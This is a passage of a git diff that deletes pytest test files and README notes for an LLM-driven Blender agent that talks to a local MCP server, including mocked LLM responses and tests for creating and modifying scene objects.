`test_mcp.py` - Lower-level MCP tests - -## Integration Test Notes - -Integration tests are marked with the `@pytest.mark.integration` decorator and require a running MCP server. The tests use a real LLMClient with a special system prompt that provides predictable responses for testing purposes. - -For example, when asked to create a cube, the LLM will always respond with `CUBE,1,2,3,0.5,1,1.5`, which allows us to make assertions about the expected result. - -## CLI Integration Testing - -The Blender agent is now integrated into the main CLI. To test the CLI integration: - -```bash -# Test Blender CLI command help -gaia blender --help - -# Test a simple Blender example (requires MCP server running) -gaia blender --example 1 - -# Test interactive mode (requires MCP server running) -gaia blender --interactive -``` - -Note: CLI integration tests require both the Lemonade server and the Blender MCP server to be running. The CLI will automatically check for both servers and provide setup instructions if either is missing. \ No newline at end of file diff --git a/hub/agents/blender/python/tests/conftest.py b/hub/agents/blender/python/tests/conftest.py deleted file mode 100644 index 7568d226d..000000000 --- a/hub/agents/blender/python/tests/conftest.py +++ /dev/null @@ -1,64 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -import logging -import socket - -import pytest - -# Configure logging -logging.basicConfig(level=logging.INFO) -logger = logging.getLogger(__name__) - - -def is_port_in_use(port, host="localhost"): - """Check if a port is in use.""" - with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: - return s.connect_ex((host, port)) == 0 - - -# Port that the Blender MCP server uses -MCP_PORT = 9876 - - -@pytest.fixture(scope="session") -def integration_test_marker(): - """Mark tests as integration tests.""" - return True - - -def pytest_configure(config): - """Configure pytest with custom markers.""" - config.addinivalue_line( - "markers", - "integration: mark test as an integration test that requires the MCP server", - ) - - -def pytest_collection_modifyitems(config, items): - """Skip integration tests when requested or when the MCP server is down. - - Mocked unit tests always run; only ``integration``-marked tests need the - live Blender MCP server (test_mcp_client.py self-skips via its fixture). - """ - if config.getoption("--skip-integration"): - skip_integration = pytest.mark.skip(reason="--skip-integration option provided") - elif not is_port_in_use(MCP_PORT): - skip_integration = pytest.mark.skip( - reason=f"MCP server not running on port {MCP_PORT}" - ) - else: - return - for item in items: - if "integration" in item.keywords: - item.add_marker(skip_integration) - - -def pytest_addoption(parser): - """Add custom command line options to pytest.""" - parser.addoption( - "--skip-integration", - action="store_true", - default=False, - help="Skip integration tests", - ) diff --git a/hub/agents/blender/python/tests/test_agent.py b/hub/agents/blender/python/tests/test_agent.py deleted file mode 100644 index c8153f54b..000000000 --- a/hub/agents/blender/python/tests/test_agent.py +++ /dev/null @@ -1,597 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -import json -import logging -import re -from unittest.mock import MagicMock, patch - -import pytest -from gaia_agent_blender.agent import BlenderAgent - -from gaia.agents.base.console import AgentConsole -from gaia.llm.base_client import LLMClient -from gaia.mcp.blender_mcp_client import MCPClient - -# Set up logging -logging.basicConfig(level=logging.DEBUG) -logger = logging.getLogger(__name__) - -# Test data for various response scenarios -VALID_JSON_RESPONSE = """ -{ - "thought": "I'll create a red cube", - "goal": "Create a red cube at the center", - "tool": "create_object", - "tool_args": {"type": "CUBE", "name": "test_cube"} -} -""" - -VALID_PLAN_JSON = """ -{ - "thought": "I'll create a simple scene", - "goal": "Create a scene with a red cube and blue sphere", - "plan": [ - {"tool": "clear_scene", "tool_args": {}}, - {"tool": "create_object", "tool_args": {"type": "CUBE", "name": "my_cube"}}, - {"tool": "set_material_color", "tool_args": {"object_name": "my_cube", "color": [1,0,0,1]}} - ], - "tool": "clear_scene", - "tool_args": {} -} -""" - -INVALID_JSON_RESPONSE = """ -I'll create a red cube. - -```json -{ - "thought": "I'll create a red cube", - "goal": "Create a red cube at the center", - "tool": "create_object", - "tool_args": {"type": "CUBE", "name": "test_cube" -} -``` - -Let me know if you need anything else. -""" - -MALFORMED_JSON_RESPONSE = """ -{ - 'thought': 'I will create a red cube', - 'goal': 'Create a red cube at the center', - 'tool': 'create_object', - 'tool_args': {'type': 'CUBE', 'name': 'test_cube'} -} -""" - -NATURAL_LANGUAGE_RESPONSE = """ -I'll create a red cube at the center of the scene. First, I'll clear the scene to start fresh, then I'll add a cube and set its material color to red. -""" - -# Example tasks from app.py for integration testing -EXAMPLE_TASKS = [ - "Clear the scene to start fresh", - "Create a red cube at the center of the scene and make sure it has a red material", - "Create a blue sphere at position (3, 0, 0) and set its scale to (2, 2, 2)", - "Create a green cube at (0, 0, 0) and a red sphere 3 units above it", -] - -# Mocked LLM responses for integration testing -MOCKED_RESPONSES = { - # Valid JSON response - "clear_scene": json.dumps( - { - "thought": "I'll clear the scene", - "goal": "Clear the scene to start fresh", - "tool": "clear_scene", - "tool_args": {}, - } - ), - # Valid JSON with plan - "create_red_cube": json.dumps( - { - "thought": "I need to create a red cube", - "goal": "Create a red cube with proper material", - "plan": [ - { - "tool": "create_object", - "tool_args": {"type": "CUBE", "name": "red_cube"}, - }, - { - "tool": "set_material_color", - "tool_args": {"object_name": "red_cube", "color": [1, 0, 0, 1]}, - }, - ], - "tool": "create_object", - "tool_args": {"type": "CUBE", "name": "red_cube"}, - } - ), - # JSON with single quotes (needs correction) - "create_blue_sphere": """ - { - 'thought': 'I need to create a blue sphere at the specified position', - 'goal': 'Create a blue sphere at position (3,0,0) with scale (2,2,2)', - 'tool': 'create_object', - 'tool_args': {'type': 'SPHERE', 'name': 'blue_sphere', 'location': [3,0,0], 'scale': [2,2,2]} - } - """, - # Natural language with JSON embedded in text - "color_blue_sphere": """ - Now I'll set the color of the sphere to blue. - - ```json - { - "thought": "I need to apply blue material to the sphere", - "goal": "Set the sphere to blue color", - "tool": "set_material_color", - "tool_args": {"object_name": "blue_sphere.001", "color": [0,0,1,1]} - } - ``` - - This will give the sphere a nice blue appearance. - """, - # Completely natural language (no JSON) - "create_complex_scene": """ - I'll create a green cube at the origin (0,0,0) and a red sphere 3 units above it. - First, I'll create the cube, then set its color to green, then create the sphere above it, and finally set the sphere's color to red. - """, -} - -# Skip: these tests pre-date the BlenderAgent/base-Agent refactor — the -# ``agent.llm`` mock seam is no longer the LLM boundary (they'd hit a live -# Lemonade server) and patched internals (_get_domain_patterns, -# _create_fallback_response) were removed. Rewrite tracked in #1992. -_STALE_REFACTOR_SKIP = pytest.mark.skip( - reason="stale: pre-dates BlenderAgent refactor; needs rewrite (#1992)" -) - -# ----- Fixtures ----- - - -@pytest.fixture -def mock_console(): - """Mock the console to prevent rich.errors.LiveError in tests.""" - mock = MagicMock(spec=AgentConsole) - # Mock all necessary console methods to prevent errors - mock.print_header = MagicMock() - mock.print_separator = MagicMock() - mock.print_step_header = MagicMock() - mock.print_state_info = MagicMock() - mock.print_thought = MagicMock() - mock.print_goal = MagicMock() - mock.print_tool_usage = MagicMock() - mock.print_tool_complete = MagicMock() - mock.pretty_print_json = MagicMock() - mock.print_error = MagicMock() - mock.print_warning = MagicMock() - mock.print_info = MagicMock() - mock.print_prompt = MagicMock() - - # Mock the progress spinner - mock_progress = MagicMock() # Generic mock, no spec needed - mock_progress.start = MagicMock() - mock_progress.stop = MagicMock() - mock.progress = mock_progress - - # Mock start_progress and stop_progress - mock.start_progress = MagicMock() - mock.stop_progress = MagicMock() - - return mock - - -@pytest.fixture -def mock_llm_client(): - """Create a mock LLM client for testing.""" - mock = MagicMock(spec=LLMClient) - # Set up system prompt - mock.system_prompt = "Test system prompt" - - # Set up generate method to return different responses based on input - def side_effect(prompt, model=None, stream=False): - # Return appropriate response based on prompt content - if "clear the scene" in prompt.lower(): - return MOCKED_RESPONSES["clear_scene"] - elif "red cube" in prompt.lower(): - return MOCKED_RESPONSES["create_red_cube"] - elif "blue sphere" in prompt.lower(): - return MOCKED_RESPONSES["create_blue_sphere"] - elif "color" in prompt.lower() and "sphere" in prompt.lower(): - return MOCKED_RESPONSES["color_blue_sphere"] - elif "green cube" in prompt.lower() and "red sphere" in prompt.lower(): - return MOCKED_RESPONSES["create_complex_scene"] - elif "json" in prompt.lower() and "correct" in prompt.lower(): - # This is a JSON correction request - # Return a fixed valid JSON for simplicity - return json.dumps( - { - "thought": "Correcting my JSON response", - "goal": "Provide properly formatted JSON", - "tool": "create_object", - "tool_args": {"type": "CUBE", "name": "corrected_cube"}, - } - ) - else: - # Default response for other prompts - return json.dumps( - { - "thought": "Processing request", - "goal": "Complete the task", - "answer": "Task completed successfully", - } - ) - - mock.generate.side_effect = side_effect - return mock - - -@pytest.fixture -def mock_mcp_client(): - """Create a mock MCP client for testing.""" - mock = MagicMock(spec=MCPClient) - # Mock the create_object method to return a success result - mock.create_object.return_value = { - "status": "success", - "result": {"name": "test_cube.001"}, - } - # Mock the clear_scene method - mock.clear_scene = MagicMock(return_value={"status": "success"}) - # Mock set_material_color method - mock.set_material_color = MagicMock( - return_value={ - "status": "success", - "result": {"material_name": "test_material.001"}, - } - ) - # Mock modify_object method - mock.modify_object = MagicMock(return_value={"status": "success"}) - - return mock - - -@pytest.fixture -def agent(mock_llm_client, mock_mcp_client, mock_console): - """Create a Blender agent with mock clients for testing.""" - agent = BlenderAgent( - mcp=mock_mcp_client, - debug_prompts=False, - max_steps=10, - ) - # Replace the LLM client with our mock - agent.llm = mock_llm_client - # Replace the console with our mock to prevent rich errors - agent.console = mock_console - # Return the configured agent - return agent - - -# ----- JSON Validation Tests ----- - - -class TestJSONValidation: - """Tests for JSON validation and error recovery capabilities.""" - - def test_valid_json_parsing(self, agent): - """Test that valid JSON responses are correctly parsed.""" - parsed = agent._parse_llm_response(VALID_JSON_RESPONSE) - - assert parsed["thought"] == "I'll create a red cube" - assert parsed["goal"] == "Create a red cube at the center" - assert parsed["tool"] == "create_object" - assert parsed["tool_args"]["type"] == "CUBE" - assert parsed["tool_args"]["name"] == "test_cube" - - def test_valid_plan_parsing(self, agent): - """Test that valid JSON plan responses are correctly parsed.""" - parsed = agent._parse_llm_response(VALID_PLAN_JSON) - - assert parsed["thought"] == "I'll create a simple scene" - assert parsed["goal"] == "Create a scene with a red cube and blue sphere" - assert "plan" in parsed - assert len(parsed["plan"]) == 3 - assert parsed["plan"][0]["tool"] == "clear_scene" - assert parsed["tool"] == "clear_scene" - - @_STALE_REFACTOR_SKIP - def test_json_extraction_from_invalid_response(self, agent): - """Test extraction of JSON from invalid response with markdown and text.""" - parsed = agent._parse_llm_response(INVALID_JSON_RESPONSE) - - # Should extract the JSON even with missing closing brace - assert "thought" in parsed - assert "goal" in parsed - assert parsed["tool"] == "create_object" - assert "tool_args" in parsed - - @_STALE_REFACTOR_SKIP - def test_json_correction_for_single_quotes(self, agent): - """Test correction of JSON with single quotes instead of double quotes.""" - # Configure the mock to return a corrected response - agent.llm.generate.return_value = VALID_JSON_RESPONSE - - parsed = agent._parse_llm_response(MALFORMED_JSON_RESPONSE) - - # Should either fix the single quotes or request a correction via LLM - assert "thought" in parsed - assert "goal" in parsed - assert "tool" in parsed - assert "tool_args" in parsed - - @_STALE_REFACTOR_SKIP - def test_natural_language_fallback(self, agent): - """Test fallback mechanism for natural language responses.""" - # Mock domain pattern detection with a specific return value - with patch.object( - agent, - "_get_domain_patterns", - return_value={ - "create_object": { - "patterns": [r"create\s+(?:a|an)?\s*(\w+)"], - "fallback": { - "thought": "Detected intention to create an object", - "goal": "Create a default object", - "tool": "create_object", - "tool_args": {"type": "CUBE", "name": "auto_created_cube"}, - }, - } - }, - ): - # Also mock _extract_json_from_response to ensure it returns None - with patch.object(agent, "_extract_json_from_response", return_value=None): - parsed = agent.process_llm_response(NATURAL_LANGUAGE_RESPONSE) - - # Should detect the create object intent and return appropriate fallback - assert parsed["thought"] == "Detected intention to create an object" - assert parsed["tool"] == "create_object" - assert parsed["tool_args"]["type"] == "CUBE" - - @_STALE_REFACTOR_SKIP - def test_retry_mechanism(self, agent): - """Test the retry mechanism for invalid JSON responses.""" - # Configure mock to return valid JSON on second try - agent.llm.generate.return_value = VALID_JSON_RESPONSE - - # Also mock _extract_json_from_response to ensure it returns None - with patch.object(agent, "_extract_json_from_response", return_value=None): - # Process an invalid response, which should trigger a retry - parsed = agent.process_llm_response(INVALID_JSON_RESPONSE) - - # Verify the correction was attempted - agent.llm.generate.assert_called_once() - - # Verify we got a valid result after correction - assert "thought" in parsed - assert "goal" in parsed - assert "tool" in parsed - - @_STALE_REFACTOR_SKIP - def test_graduated_retry_escalation(self, agent): - """Test that retry prompts escalate in strictness.""" - # Configure to return valid JSON on second try - agent.llm.generate.return_value = VALID_JSON_RESPONSE - - # Spy on the _create_json_correction_prompt method - with patch.object( - agent, - "_create_json_correction_prompt", - wraps=agent._create_json_correction_prompt, - ) as mock_create_prompt: - # Also mock _extract_json_from_response to ensure it returns None - with patch.object(agent, "_extract_json_from_response", return_value=None): - # First retry should use regular correction prompt - agent.process_llm_response(INVALID_JSON_RESPONSE) - - # Check that the correction prompt was called - mock_create_prompt.assert_called_once() - - @_STALE_REFACTOR_SKIP - def test_blender_domain_patterns(self, agent): - """Test Blender-specific domain patterns for natural language responses.""" - # Get the domain patterns - patterns = agent._get_domain_patterns() - - # Verify Blender-specific patterns are present - assert "create_object" in patterns - assert "color_object" in patterns - assert "move_object" in patterns - assert "clear_scene" in patterns - - # Test pattern matching for object creation - create_pattern = patterns["create_object"]["patterns"][0] - match = re.search(create_pattern, "create a cube at the center", re.IGNORECASE) - assert match is not None - assert match.group(1) == "cube" - - @_STALE_REFACTOR_SKIP - def test_fallback_response(self, agent): - """Test the fallback response mechanism.""" - fallback = agent._create_fallback_response( - "I think I should create a red cube for this task.", "JSON parsing error" - ) - - # Verify the fallback response has the required fields - assert "thought" in fallback - assert "goal" in fallback - # Should contain either answer or tool - assert "answer" in fallback or "tool" in fallback - - def test_extract_json_from_response(self, agent): - """Test the JSON extraction helper method.""" - test_response = """ - I'll help you create this scene. - - ```json - { - "thought": "Creating objects", - "goal": "Build the scene", - "tool": "create_object", - "tool_args": {"type": "CUBE", "name": "extracted_cube"} - } - ``` - """ - - extracted = agent._extract_json_from_response(test_response) - assert extracted is not None - assert extracted["tool"] == "create_object" - assert extracted["tool_args"]["name"] == "extracted_cube" - - -# ----- Integration Tests ----- - - -class TestAgentIntegration: - """Integration tests for the BlenderAgent with mock dependencies.""" - - @pytest.mark.parametrize( - "example", [EXAMPLE_TASKS[0]] - ) # Test just the first example for speed - @_STALE_REFACTOR_SKIP - def test_example_tasks(self, agent, example): - """Test processing example tasks with the agent.""" - # Configure a simple success response based on the example - if "clear the scene" in example.lower(): - agent.llm.generate.return_value = MOCKED_RESPONSES["clear_scene"] - elif "red cube" in example.lower(): - agent.llm.generate.return_value = MOCKED_RESPONSES["create_red_cube"] - - # Process the example query - result = agent.process_query(example, trace=False) - - # Verify successful processing - assert result["status"] == "success" or result["status"] == "incomplete" - # Verify conversation history was recorded - assert "conversation" in result - assert len(result["conversation"]) >= 2 # At least user and assistant - - def test_json_extraction_from_markdown(self, agent): - """Test JSON extraction from markdown code blocks.""" - # Use the extracted JSON directly - parsed = agent._extract_json_from_response( - MOCKED_RESPONSES["color_blue_sphere"] - ) - - # Verify essential fields were extracted - assert parsed is not None - assert "thought" in parsed - assert "goal" in parsed - assert parsed["tool"] == "set_material_color" - assert parsed["tool_args"]["color"] == [0, 0, 1, 1] - - @_STALE_REFACTOR_SKIP - def test_natural_language_intent_detection(self, agent): - """Test detection of intentions from natural language.""" - # Create a specific return value for the fallback - fallback_response = { - "thought": "Detected intent to create objects", - "goal": "Create a complex scene", - "tool": "create_object", - "tool_args": {"type": "CUBE", "name": "detected_cube"}, - } - - # Mock the fallback response directly - with patch.object( - agent, "_create_fallback_response", return_value=fallback_response - ): - # Also mock _extract_json_from_response to ensure it returns None - with patch.object(agent, "_extract_json_from_response", return_value=None): - # Process with validate_json_response always failing - with patch.object( - agent, - "validate_json_response", - side_effect=ValueError("Test error"), - ): - # Parse the natural language response - parsed = agent.process_llm_response( - MOCKED_RESPONSES["create_complex_scene"] - ) - - # Verify the result matches our fallback - assert parsed["thought"] == "Detected intent to create objects" - assert parsed["goal"] == "Create a complex scene" - assert parsed["tool"] == "create_object" - - @_STALE_REFACTOR_SKIP - def test_retry_mechanism_integration(self, agent): - """Test the complete retry mechanism with JSON correction.""" - # Configure specific responses for the test - invalid_response = MOCKED_RESPONSES["create_blue_sphere"] - valid_response = json.dumps( - { - "thought": "Corrected JSON", - "goal": "Provide valid JSON", - "tool": "create_object", - "tool_args": {"type": "SPHERE", "name": "corrected_sphere"}, - } - ) - - # Set up the generate method to return the invalid response first, then the valid one - agent.llm.generate.side_effect = [invalid_response, valid_response] - - # Mock _extract_json_from_response to simulate a failure - with patch.object(agent, "_extract_json_from_response", return_value=None): - # Process the invalid response - with patch.object( - agent, - "validate_json_response", - side_effect=[ValueError("Test error"), json.loads(valid_response)], - ): - result = agent.validate_json_response(invalid_response) - - # Validate the result - assert result == json.loads(valid_response) - - def test_complex_plan_execution(self, agent): - """Test execution of a complex plan with minimal mocking.""" - # Create a plan response - plan_response = json.dumps( - { - "thought": "Creating a complex scene with multiple objects", - "goal": "Create a scene with a cube and sphere", - "plan": [ - {"tool": "clear_scene", "tool_args": {}}, - { - "tool": "create_object", - "tool_args": { - "type": "CUBE", - "name": "plan_cube", - "location": [0, 0, 0], - }, - }, - { - "tool": "set_material_color", - "tool_args": { - "object_name": "plan_cube", - "color": [1, 0, 0, 1], - }, - }, - { - "tool": "create_object", - "tool_args": { - "type": "SPHERE", - "name": "plan_sphere", - "location": [0, 0, 2], - }, - }, - ], - "tool": "clear_scene", - "tool_args": {}, - } - ) - - # Test the extraction and validation of the plan - parsed_plan = agent._parse_llm_response(plan_response) - - # Verify the plan was correctly parsed - assert ( - parsed_plan["thought"] == "Creating a complex scene with multiple objects" - ) - assert len(parsed_plan["plan"]) == 4 - assert parsed_plan["plan"][0]["tool"] == "clear_scene" - assert parsed_plan["plan"][1]["tool"] == "create_object" - assert parsed_plan["plan"][2]["tool"] == "set_material_color" - assert parsed_plan["plan"][3]["tool"] == "create_object" - - -if __name__ == "__main__": - pytest.main(["-xvs", __file__]) diff --git a/hub/agents/blender/python/tests/test_agent_simple.py b/hub/agents/blender/python/tests/test_agent_simple.py deleted file mode 100644 index 7e2a93f55..000000000 --- a/hub/agents/blender/python/tests/test_agent_simple.py +++ /dev/null @@ -1,202 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -import json -import logging - -import pytest -from gaia_agent_blender.agent_simple import BlenderAgentSimple - -from gaia.llm import create_client -from gaia.llm.base_client import LLMClient -from gaia.mcp.blender_mcp_client import MCPClient - -# Set up logging -logging.basicConfig(level=logging.DEBUG) -logger = logging.getLogger(__name__) - - -@pytest.fixture -def llm_client(): - logger.debug("Creating LLMClient for tests") - # Using a test-specific system prompt - system_prompt = """ -You are a 3D modeling assistant for testing. IMPORTANT: For EACH user request, respond with EXACTLY ONE LINE in this format: -TYPE,x,y,z,sx,sy,sz - -Where: -- TYPE is one of: CUBE, SPHERE, CYLINDER, CONE, TORUS -- x,y,z are the LOCATION coordinates in 3D space (where to place the object) -- sx,sy,sz are the SCALE factors (how large the object should be in each dimension) - -For testing purposes: -- If asked for a cube, respond with: CUBE,1,2,3,0.5,1,1.5 -- If asked for a sphere, respond with: SPHERE,0,0,0,1,1,1 -- For any other request, respond with: CYLINDER,0,2,0,0.5,0.5,3 -""" - # Using local LLM for faster testing - return create_client("lemonade", system_prompt=system_prompt) - - -@pytest.fixture -def mcp_client(): - logger.debug("Creating MCPClient for tests") - # Initialize with localhost for testing - return MCPClient(host="localhost", port=9876) - - -@pytest.fixture -def blender_agent(llm_client, mcp_client): - logger.debug("Creating BlenderAgentSimple for tests") - return BlenderAgentSimple(llm=llm_client, mcp=mcp_client) - - -@pytest.fixture(autouse=True) -def clean_blender_scene(mcp_client): - """Clear all objects from Blender scene before each test.""" - logger.debug("Cleaning Blender scene before test") - # Blender Python code to delete all objects - cleanup_code = """ -import bpy - -# Delete all objects -bpy.ops.object.select_all(action='SELECT') -bpy.ops.object.delete() - -# Report back how many objects are in the scene -print(f"Scene cleared. {len(bpy.data.objects)} objects remain.") -""" - try: - result = mcp_client.execute_code(cleanup_code) - logger.debug(f"Cleanup result: {result}") - except Exception as e: - logger.error(f"Failed to clean scene: {e}") - # Don't fail the test if cleanup fails, just log it - - # Proceed with the test - yield - - # We could also clean up after each test if needed - # But generally before-test cleanup is sufficient - - -def test_parse_llm_response(blender_agent): - logger.debug("Running test_parse_llm_response") - # Test valid response - test_response = "CUBE,1,2,3,0.5,1,1.5" - obj_type, location, scale = blender_agent._parse_llm_response(test_response) - - logger.debug(f"Parsed: type={obj_type}, location={location}, scale={scale}") - - assert obj_type == "CUBE" - assert location == (1.0, 2.0, 3.0) - assert scale == (0.5, 1.0, 1.5) - - # Test invalid response - logger.debug("Testing invalid LLM response") - with pytest.raises(ValueError): - blender_agent._parse_llm_response("INVALID_FORMAT") - - -@pytest.mark.integration -def test_process_cube_query(blender_agent): - logger.debug("Running test_process_cube_query") - # Test processing a query for a cube - result = blender_agent.process_query("Create a cube") - - # Debug print the actual result structure - logger.debug(f"LLM response: {result.get('llm_response', 'N/A')}") - logger.debug(f"Result structure: {json.dumps(result, indent=2, default=str)}") - - # Direct print for immediate visibility (useful for urgent debugging) - print("\n\n==== TEST OUTPUT ====") - print(f"Result status: {result['status']}") - print(f"Blender result: {json.dumps(result['blender_result'], indent=2)}") - print("=====================\n\n") - - # Verify result structure - assert result["status"] == "success" - assert result["object_type"] == "CUBE" - assert result["location"] == (1.0, 2.0, 3.0) - assert result["scale"] == (0.5, 1.0, 1.5) - - # Check that blender_result has the required structure - assert "result" in result["blender_result"] - assert "status" in result["blender_result"] - assert result["blender_result"]["status"] == "success" - # Check that the object was created with the right name - assert "name" in result["blender_result"]["result"] - # Blender may add suffixes like .001, .002 to make names unique - assert result["blender_result"]["result"]["name"].startswith("llm_generated_cube") - - -@pytest.mark.integration -def test_process_sphere_query(blender_agent): - logger.debug("Running test_process_sphere_query") - # Test processing a query for a sphere - result = blender_agent.process_query("Create a sphere at the origin") - - # Debug print the actual result structure - logger.debug(f"LLM response: {result.get('llm_response', 'N/A')}") - logger.debug(f"Result structure: {json.dumps(result, indent=2, default=str)}") - - # Verify result structure - assert result["status"] == "success" - assert result["object_type"] == "SPHERE" - assert result["location"] == (0.0, 0.0, 0.0) - assert result["scale"] == (1.0, 1.0, 1.0) - - # Check that blender_result has the required structure - assert "result" in result["blender_result"] - assert "status" in result["blender_result"] - assert result["blender_result"]["status"] == "success" - # Check that the object was created with the right name - assert "name" in result["blender_result"]["result"] - # Blender may add suffixes like .001, .002 to make names unique - assert result["blender_result"]["result"]["name"].startswith("llm_generated_sphere") - - -@pytest.mark.integration -def test_agent_initialization(): - logger.debug("Running test_agent_initialization") - # Test default initialization with default parameters - agent = BlenderAgentSimple() - - # Verify clients were created properly - assert isinstance(agent.llm, LLMClient) - assert isinstance(agent.mcp, MCPClient) - - # Verify default system prompt is set - logger.debug(f"System prompt: {agent.llm._system_prompt}") - assert agent.llm._system_prompt == agent.SYSTEM_PROMPT - - -if __name__ == "__main__": - """ - Main function to run tests directly from this file. - Usage: python test_agent_v1.py [options] - - For unit tests only: - python test_agent_v1.py -k "not integration" - - For integration tests only: - python test_agent_v1.py -k "integration" - - For all tests: - python test_agent_v1.py - """ - import sys - - logger.debug("Starting test execution via main function") - - # Add custom arguments - args = ["-xvs", "--log-cli-level=INFO", __file__] - - # Add any command line arguments passed to the script - if len(sys.argv) > 1: - args.extend(sys.argv[1:]) - logger.debug(f"Added command line arguments: {sys.argv[1:]}") - - logger.debug(f"Running pytest with args: {args}") - # Run pytest with these arguments - pytest.main(args) diff --git a/hub/agents/blender/python/tests/test_mcp_client.py b/hub/agents/blender/python/tests/test_mcp_client.py deleted file mode 100644 index 7ffccde3c..000000000 --- a/hub/agents/blender/python/tests/test_mcp_client.py +++ /dev/null @@ -1,356 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -import logging -import sys -from contextlib import contextmanager - -import pytest - -from gaia.mcp.blender_mcp_client import MCPClient, MCPError - -logging.getLogger("asyncio").setLevel(logging.INFO) - - -@contextmanager -def suppress_client_logs(): - """Temporarily suppress MCPClient logs during tests with expected errors.""" - # Save the original log level - client_logger = logging.getLogger("gaia.mcp.blender_mcp_client") - original_level = client_logger.level - - # Set to a higher level to suppress expected errors - client_logger.setLevel(logging.CRITICAL) - - try: - yield - finally: - # Restore the original log level - client_logger.setLevel(original_level) - - -@pytest.fixture(scope="module") -def mcp_client(): - """Create an MCP client and check server connectivity.""" - print("\n=== Initializing MCP Client ===") - client = MCPClient() - - # Check if server is running - print("Checking connection to Blender MCP server...") - try: - client.execute_code("import bpy") - print("Connection successful! Server is running.") - except MCPError as e: - print(f"ERROR: {str(e)}") - pytest.skip( - "Blender MCP server is not running. Please start Blender with the MCP addon first." - ) - - return client - - -@pytest.fixture(scope="function") -def cleanup_test_objects(mcp_client): - """Cleanup fixture to remove test objects after each test.""" - yield - - # Get all objects in the scene - with suppress_client_logs(): - try: - scene_info = mcp_client.get_scene_info() - # Delete test objects (any object starting with "Test") - deleted = 0 - for obj in scene_info["result"]["objects"]: - if obj["name"].startswith("Test"): - try: - mcp_client.delete_object(obj["name"]) - deleted += 1 - except MCPError: - pass # Ignore errors during cleanup - - if deleted > 0: - print(f"Cleanup: {deleted} test objects deleted") - except MCPError as e: - print(f"Cleanup failed: {str(e)}") - - -@pytest.mark.asyncio -class TestBlenderMCP: - - async def test_connection(self, mcp_client): - """Test connection to the Blender MCP server.""" - print("\n=== Test: Connection to server ===") - response = mcp_client.execute_code("import bpy") - assert response["status"] == "success" - assert "executed" in response["result"] - - async def test_get_scene_info(self, mcp_client): - """Test retrieving scene information.""" - print("\n=== Test: Get scene info ===") - response = mcp_client.get_scene_info() - assert response["status"] == "success" - assert "name" in response["result"] - assert "object_count" in response["result"] - assert "objects" in response["result"] - - print( - f"Scene: {response['result']['name']} with {response['result']['object_count']} objects" - ) - - async def test_create_object(self, mcp_client, cleanup_test_objects): - """Test creating objects of different types.""" - print("\n=== Test: Create objects ===") - test_objects = [ - {"type": "CUBE", "name": "TestCube", "location": (0, 0, 0)}, - {"type": "SPHERE", "name": "TestSphere", "location": (2, 0, 0)}, - {"type": "CYLINDER", "name": "TestCylinder", "location": (4, 0, 0)}, - ] - - for obj_params in test_objects: - print(f"Creating {obj_params['type']} '{obj_params['name']}'") - response = mcp_client.create_object(**obj_params) - assert response["status"] == "success" - assert response["result"]["name"] == obj_params["name"] - assert response["result"]["type"] == "MESH" - - # Verify object was created with get_object_info - info_response = mcp_client.get_object_info(obj_params["name"]) - assert info_response["status"] == "success" - assert info_response["result"]["name"] == obj_params["name"] - - async def test_get_object_info(self, mcp_client, cleanup_test_objects): - """Test getting detailed information about an object.""" - print("\n=== Test: Get object info ===") - # Create test object - mcp_client.create_object(type="CUBE", name="TestInfoCube", location=(0, 0, 3)) - - # Get object info - response = mcp_client.get_object_info("TestInfoCube") - assert response["status"] == "success" - assert response["result"]["name"] == "TestInfoCube" - assert response["result"]["type"] == "MESH" - assert "location" in response["result"] - assert "rotation" in response["result"] - assert "scale" in response["result"] - assert "mesh" in response["result"] - assert "vertices" in response["result"]["mesh"] - assert "edges" in response["result"]["mesh"] - assert "polygons" in response["result"]["mesh"] - - # Verify location is correct (with small epsilon for floating point) - loc = response["result"]["location"] - assert abs(loc[0] - 0) < 0.001 - assert abs(loc[1] - 0) < 0.001 - assert abs(loc[2] - 3) < 0.001 - - async def test_modify_object(self, mcp_client, cleanup_test_objects): - """Test modifying an existing object.""" - print("\n=== Test: Modify object ===") - # Create test cube - mcp_client.create_object(type="CUBE", name="TestModifyCube", location=(0, 0, 0)) - - # Initial position check - initial_info = mcp_client.get_object_info("TestModifyCube") - assert initial_info["status"] == "success" - assert abs(initial_info["result"]["location"][2] - 0) < 0.001 - - # Modify object - new_location = (1, 2, 3) - new_scale = (2, 2, 2) - print(f"Modifying 'TestModifyCube'") - response = mcp_client.modify_object( - name="TestModifyCube", location=new_location, scale=new_scale - ) - - assert response["status"] == "success" - - # Verify changes - modified_info = mcp_client.get_object_info("TestModifyCube") - assert modified_info["status"] == "success" - - # Check location (with small epsilon for floating point) - loc = modified_info["result"]["location"] - assert abs(loc[0] - new_location[0]) < 0.001 - assert abs(loc[1] - new_location[1]) < 0.001 - assert abs(loc[2] - new_location[2]) < 0.001 - - # Check scale - scale = modified_info["result"]["scale"] - assert abs(scale[0] - new_scale[0]) < 0.001 - assert abs(scale[1] - new_scale[1]) < 0.001 - assert abs(scale[2] - new_scale[2]) < 0.001 - - async def test_delete_object(self, mcp_client): - """Test deleting an object.""" - print("\n=== Test: Delete object ===") - # Create and delete test object - mcp_client.create_object(type="CUBE", name="TestDeleteCube", location=(0, 0, 0)) - - # Verify it exists - info_response = mcp_client.get_object_info("TestDeleteCube") - print(f"Info response: {info_response}") - assert info_response["status"] == "success" - - # Delete object - print("Deleting 'TestDeleteCube'") - delete_response = mcp_client.delete_object("TestDeleteCube") - assert delete_response["status"] == "success" - assert delete_response["result"]["deleted"] == "TestDeleteCube" - - # Verify it's gone - expect an exception but suppress the logs - with suppress_client_logs(): - try: - mcp_client.get_object_info("TestDeleteCube") - assert False, "Expected MCPError was not raised" - except MCPError as e: - assert "not found" in str(e) - print(f"Verified object was deleted: {str(e)}") - - async def test_execute_code(self, mcp_client, cleanup_test_objects): - """Test executing Python code in Blender.""" - print("\n=== Test: Execute Python code ===") - # Execute code that creates an object programmatically - code = """ -import bpy -bpy.ops.mesh.primitive_cube_add(location=(0, 0, 5), scale=(2, 2, 2)) -cube = bpy.context.active_object -cube.name = 